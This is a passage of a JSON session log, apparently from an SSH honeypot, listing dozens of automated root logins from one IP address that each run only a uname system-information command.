  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:13:17.591355+00:00",
  "ended_at": "2026-08-24T10:13:22.126002+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7ee45898-3148-4d28-b014-004abe522bab",
  "name": "genial-crisp-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48866,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:12:54.407692+00:00",
  "ended_at": "2026-08-24T10:12:57.596881+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0fceeba9-c9dc-4f3b-8e1a-1cbbb893cc2b",
  "name": "ashen-velvet-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 54300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:12:28.903890+00:00",
  "ended_at": "2026-08-24T10:12:35.006408+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "80df6a2d-eaa2-4236-9b23-5de4698798bd",
  "name": "vigilant-velvet-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 56826,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:11:12.863245+00:00",
  "ended_at": "2026-08-24T10:11:16.039191+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dc701664-08ee-49f9-a647-6c8bab0763ca",
  "name": "muted-thrifty-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 52180,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:10:38.133789+00:00",
  "ended_at": "2026-08-24T10:10:40.941228+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "36ec0885-dc86-4010-b781-0c6c66fb8dc8",
  "name": "cheerful-cosmic-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:10:05.117048+00:00",
  "ended_at": "2026-08-24T10:10:08.848255+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "593ef37e-8db7-4f99-9693-3fd1512ad226",
  "name": "western-honest-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 45934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:09:29.910373+00:00",
  "ended_at": "2026-08-24T10:09:34.441517+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e1899cef-245c-4aba-b073-15c0ee7413e3",
  "name": "alpine-sunlit-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:09:10.929658+00:00",
  "ended_at": "2026-08-24T10:09:13.728274+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "db893203-ce41-451e-9c92-5daaf3df388e",
  "name": "northern-upland-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 56456,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:08:41.716831+00:00",
  "ended_at": "2026-08-24T10:08:46.902847+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e14c3983-068c-448d-be1e-b3212df54a05",
  "name": "cunning-jovial-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48574,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:08:08.683674+00:00",
  "ended_at": "2026-08-24T10:08:12.495929+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "09567106-4011-468e-b9e4-f718382a7e5e",
  "name": "fleeting-granite-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:08:04.039670+00:00",
  "ended_at": "2026-08-24T10:08:09.507526+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "92ec86e0-b815-420b-9b1f-6879f6e49a10",
  "name": "rustic-noble-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 41144,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 253,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:06:51.151690+00:00",
  "ended_at": "2026-08-24T10:06:56.105294+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ef0ac50-b472-4072-b4b9-68359278ddc9",
  "name": "quiet-emerald-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48410,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:06:34.112739+00:00",
  "ended_at": "2026-08-24T10:06:38.985415+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd67a54b-9dde-4a6d-b60f-b7006b704495",
  "name": "hearty-snowy-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 57828,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:06:01.601656+00:00",
  "ended_at": "2026-08-24T10:06:06.723180+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "df6fb641-94bc-417d-a81d-94a6b5cef9eb",
  "name": "nameless-watchful-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 53108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:04:55.112459+00:00",
  "ended_at": "2026-08-24T10:04:58.718110+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5d10729f-4347-4c85-891f-d3151a49afa5",
  "name": "placid-wistful-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 52850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:04:39.703536+00:00",
  "ended_at": "2026-08-24T10:04:44.395206+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3aabc2cc-34d2-4871-bc03-f65218f0713f",
  "name": "plush-glacial-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:03:53.621872+00:00",
  "ended_at": "2026-08-24T10:03:59.621770+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "937c6159-30a4-479f-adda-7df8fdaee1c6",
  "name": "spirited-courtly-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 45290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:03:36.924003+00:00",
  "ended_at": "2026-08-24T10:03:41.192750+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ecb2d5b2-b990-44f6-b4d5-b48683ab91db",
  "name": "fringed-dusty-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42822,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:02:56.526583+00:00",
  "ended_at": "2026-08-24T10:02:59.906556+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bf55de40-eb5a-4e25-9ee0-3d8a9d036938",
  "name": "mighty-woven-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 33268,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:02:43.619712+00:00",
  "ended_at": "2026-08-24T10:02:49.314237+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a249367b-6136-41bd-9c95-2e86313cdb5a",
  "name": "peaty-nameless-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 53164,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:02:27.106773+00:00",
  "ended_at": "2026-08-24T10:02:30.443758+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6cb9b10f-0d76-4f5e-b2c1-5ec7b72d8290",
  "name": "early-woven-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 46658,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 249,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:02:20.621678+00:00",
  "ended_at": "2026-08-24T10:02:26.303010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "269351fd-ee2a-49d0-9b32-ed6c227d5ae2",
  "name": "brave-whispering-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40954,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:02:00.112748+00:00",
  "ended_at": "2026-08-24T10:02:05.244065+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c56ed98a-cd39-42be-8c2a-38ddff19c1fc",
  "name": "sooty-brazen-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 59336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:01:40.491412+00:00",
  "ended_at": "2026-08-24T10:01:46.206389+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3133908f-d2db-4faf-bfae-5657d9da25d8",
  "name": "feral-deft-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:01:24.905106+00:00",
  "ended_at": "2026-08-24T10:01:28.490216+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a5c795cc-72df-4f9d-9591-22e0d463a58d",
  "name": "lucid-eager-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 51996,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:01:13.344273+00:00",
  "ended_at": "2026-08-24T10:01:18.432397+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8a1bf508-2be3-47dc-9ead-3501501836db",
  "name": "whispering-fleeting-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37784,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:00:59.325968+00:00",
  "ended_at": "2026-08-24T10:01:02.330115+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d8b7d6b7-99e7-4ad1-b5d3-4b8a89ec429c",
  "name": "cosmic-deft-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T10:00:55.031553+00:00",
  "ended_at": "2026-08-24T10:00:59.404267+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e0c7702-ad74-4343-8783-ab7bce8806d3",
  "name": "woven-forlorn-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40380,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:59:47.119470+00:00",
  "ended_at": "2026-08-24T09:59:51.735515+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3a485e24-bd18-48c2-b4da-f85e016c8f09",
  "name": "gallant-wooded-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60288,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:59:32.207479+00:00",
  "ended_at": "2026-08-24T09:59:37.038615+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07a2f52d-099c-41eb-b88b-290d635ffd2d",
  "name": "eager-somber-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 57562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:59:15.437129+00:00",
  "ended_at": "2026-08-24T09:59:20.015657+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a47593ba-668d-43ae-bea4-c795ca1931bf",
  "name": "chilly-vigilant-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:58:48.603782+00:00",
  "ended_at": "2026-08-24T09:58:52.394636+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "756ef4a7-1b50-4dd2-b3e9-94b4dc1ab615",
  "name": "emerald-stoic-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 53866,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:58:32.809046+00:00",
  "ended_at": "2026-08-24T09:58:37.892630+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "888cf3ce-59f0-45b1-be20-61139a8003e0",
  "name": "alpine-stoic-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 47846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:57:57.599745+00:00",
  "ended_at": "2026-08-24T09:58:00.691907+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b9b7e7f3-07b5-4a43-9afc-dd6779dea5a6",
  "name": "tranquil-feathered-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 47824,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:57:52.615744+00:00",
  "ended_at": "2026-08-24T09:57:56.914132+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5a0634c3-41fb-47ef-8d44-81e220b9ceee",
  "name": "vernal-indigo-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 47552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:55:13.358566+00:00",
  "ended_at": "2026-08-24T09:55:18.526704+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "87c962b3-68e3-48a5-b589-5a5517694272",
  "name": "plucky-cunning-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 180,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:54:19.889775+00:00",
  "ended_at": "2026-08-24T09:54:25.243962+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7e940b28-beb2-48d8-b28a-bc23682b151c",
  "name": "civil-fearless-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:54:00.681334+00:00",
  "ended_at": "2026-08-24T09:54:06.093783+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cb1d534b-d8db-4463-ae78-fcb0e8136a3e",
  "name": "sturdy-ancient-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 56848,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:53:38.492601+00:00",
  "ended_at": "2026-08-24T09:53:44.428388+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "260faea7-b05c-4ea0-8018-ff4e23407e43",
  "name": "brave-creaky-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 52752,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:53:02.342327+00:00",
  "ended_at": "2026-08-24T09:53:06.685380+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0202b5a-d411-40e9-85a5-e9747c5434ba",
  "name": "buoyant-stormy-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:52:58.241243+00:00",
  "ended_at": "2026-08-24T09:53:03.319007+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3d31e890-5f20-4bb4-a306-dfb1870fbbb0",
  "name": "sullen-freckled-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 59660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:52:21.900713+00:00",
  "ended_at": "2026-08-24T09:52:27.360138+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0aae96e3-08e7-4881-9558-4da879c51a40",
  "name": "deft-salty-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 35282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:52:11.190213+00:00",
  "ended_at": "2026-08-24T09:52:14.246826+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3315c4e9-12e9-4f27-9f38-b77d6c3ded2b",
  "name": "freckled-misty-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 35266,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:52:00.434308+00:00",
  "ended_at": "2026-08-24T09:52:03.381162+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "842076de-67d7-4f31-b809-2302923bdd7e",
  "name": "jagged-lively-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 51114,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:51:39.031041+00:00",
  "ended_at": "2026-08-24T09:51:44.338763+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "529aeb40-d792-4ad2-8cb0-30bfa4adbea6",
  "name": "seaward-vivid-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:51:13.291040+00:00",
  "ended_at": "2026-08-24T09:51:19.301228+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c3fe5c42-544b-4b81-ae99-9def7c8ad3d2",
  "name": "murky-mottled-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 50648,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:51:10.446144+00:00",
  "ended_at": "2026-08-24T09:51:16.546237+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "286396b1-6e12-4d35-ae2c-b44dd4cad999",
  "name": "seaward-scarlet-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 41328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:51:09.781361+00:00",
  "ended_at": "2026-08-24T09:51:13.914590+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1ee9387f-939c-4058-abbb-588481928d45",
  "name": "restless-verdant-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 59836,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:49:56.119953+00:00",
  "ended_at": "2026-08-24T09:49:59.095438+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ea72bd1a-ae1e-4df3-92c4-911eb8fadb52",
  "name": "somber-nameless-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 45842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:49:50.535586+00:00",
  "ended_at": "2026-08-24T09:49:56.013193+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2544f668-afb2-4dfd-b03c-cd1ce4dc7a80",
  "name": "tranquil-stoic-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38700,
  "username": "root",
